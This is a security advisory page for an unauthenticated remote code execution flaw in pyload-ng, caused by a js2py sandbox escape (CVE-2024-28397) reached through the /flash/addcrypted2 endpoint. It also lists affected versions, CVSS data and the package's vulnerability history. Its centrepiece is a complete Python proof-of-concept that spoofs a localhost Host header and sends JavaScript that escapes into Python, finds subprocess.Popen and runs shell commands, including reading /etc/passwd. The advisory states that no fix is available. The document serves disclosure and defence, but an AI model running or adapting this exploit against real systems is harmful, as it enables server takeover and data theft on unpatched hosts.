pyload-ng vulnerable to RCE with js2py sandbox escape
Summary
Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.
Details
js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the /flash/addcrypted2 API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.
PoC
The PoC is provided as poc.py below, you can modify the shell command it execute:
import socket
import base64
from urllib.parse import quote
host, port = input("host: "), int(input("port: "))
payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
return n11
}
"""
crypted_b64 = base64.b64encode(b"1234").decode()
data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"
request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}
{data}
""".encode().replace(b"\n", b"\r\n")
def main():
s = socket.socket()
s.connect((host, port))
s.send(request)
response = s.recv(1024).decode()
print(response)
if __name__ == "__main__":
main()
Impact
Anyone who runs the latest version (<=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | pyload-ng | <= 0.5.0b3.dev85 | no fix |
References
- https://github.com/pyload/pyload/security/advisories/GHSA-r9pp-r4xf-597r
- https://nvd.nist.gov/vuln/detail/CVE-2024-39205
- https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape
- https://github.com/advisories/GHSA-h95x-26f3-88hr
- https://github.com/pyload/pyload
- https://pypi.org/project/pyload-ng
- https://github.com/advisories/GHSA-r9pp-r4xf-597r
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-94- Platform
- Python (PyPI)
- Package
pyload-ng- Disclosed
- 09.09.2024
- Updated
- 11.10.2026 13:17
Sources and licenses
OSV / GitHub Advisory Database - GHSA-r9pp-r4xf-597r - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-499 - PyPA Advisory Database; CC BY 4.0
Vulnerability history: pyload-ng
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 58
- First → latest
- 01.2023 10.2026
- Without a fix
- 24
- Exploited in attacks
- 0
Severity breakdown
- Critical 9
- High 23
- Medium 25
- Low 1
Disclosures per year
- 2023: 9
- 2024: 8
- 2025: 8
- 2026: 33
-
pyload-ng vulnerable to RCE with js2py sandbox escape this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.